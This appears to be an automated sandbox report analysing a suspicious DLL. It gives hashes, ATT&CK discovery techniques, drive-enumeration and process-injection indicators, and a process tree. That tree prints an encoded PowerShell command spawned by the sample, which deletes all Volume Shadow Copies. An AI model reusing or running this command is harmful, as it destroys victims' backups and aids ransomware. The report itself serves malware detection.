ee48174864ae0ef8c1e2da6b91b17c2f1df32195f69173adcc3013bf97c76ad5

Analysis

max time kernel
2s
max time network
6s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
26-03-2024 16:54

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General

Target

d01b92a1d7e00f34549ee537989890699c7ac34c929ea381a4289e49e2d0e4c4.dll
Size

164KB
MD5

0801f10ec6451719bde73ad22de88d5a
SHA1

9bf9b111da0fdba83ce65a883248a0ea9e26a455
SHA256

d01b92a1d7e00f34549ee537989890699c7ac34c929ea381a4289e49e2d0e4c4
SHA512

10311c679c46dfe31815c63df41e6a06f04b03ce2050b3065675fd973e7af27d52dcbea7df74c2baa92344a8b2533c5799508926825a3ea3671097544efedee0
SSDEEP

1536:WvbSZWtDvM7wIjCEZQ5yyw1oDpP+pfICS4A++GbvF0qcX8opz25maL3SUtNDWyPB:1WhoCE3yw1oVj5DJtOicNDWEzZ9dckwK

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

rundll32.exe

pid process

2152 rundll32.exe

pid	process
2152	rundll32.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 2300 wrote to memory of 2152	2300	rundll32.exe	rundll32.exe
PID 2300 wrote to memory of 2152	2300	rundll32.exe	rundll32.exe
PID 2300 wrote to memory of 2152	2300	rundll32.exe	rundll32.exe
PID 2300 wrote to memory of 2152	2300	rundll32.exe	rundll32.exe
PID 2300 wrote to memory of 2152	2300	rundll32.exe	rundll32.exe
PID 2300 wrote to memory of 2152	2300	rundll32.exe	rundll32.exe
PID 2300 wrote to memory of 2152	2300	rundll32.exe	rundll32.exe
PID 2152 wrote to memory of 1936	2152	rundll32.exe	powershell.exe
PID 2152 wrote to memory of 1936	2152	rundll32.exe	powershell.exe
PID 2152 wrote to memory of 1936	2152	rundll32.exe	powershell.exe
PID 2152 wrote to memory of 1936	2152	rundll32.exe	powershell.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\d01b92a1d7e00f34549ee537989890699c7ac34c929ea381a4289e49e2d0e4c4.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:2300

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\d01b92a1d7e00f34549ee537989890699c7ac34c929ea381a4289e49e2d0e4c4.dll,#1
2⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2152

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
PID:1936

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2956

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2648

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

memory/1936-4-0x000000001B2C0000-0x000000001B5A2000-memory.dmp

Filesize
2.9MB

Download
memory/1936-5-0x0000000001EE0000-0x0000000001EE8000-memory.dmp

Filesize
32KB

Download
memory/1936-6-0x000007FEF5790000-0x000007FEF612D000-memory.dmp

Filesize
9.6MB

Download
memory/1936-7-0x0000000002780000-0x0000000002800000-memory.dmp

Filesize
512KB

Download
memory/1936-8-0x000007FEF5790000-0x000007FEF612D000-memory.dmp

Filesize
9.6MB

Download
memory/1936-9-0x0000000002780000-0x0000000002800000-memory.dmp

Filesize
512KB

Download
memory/1936-10-0x0000000002780000-0x0000000002800000-memory.dmp

Filesize
512KB

Download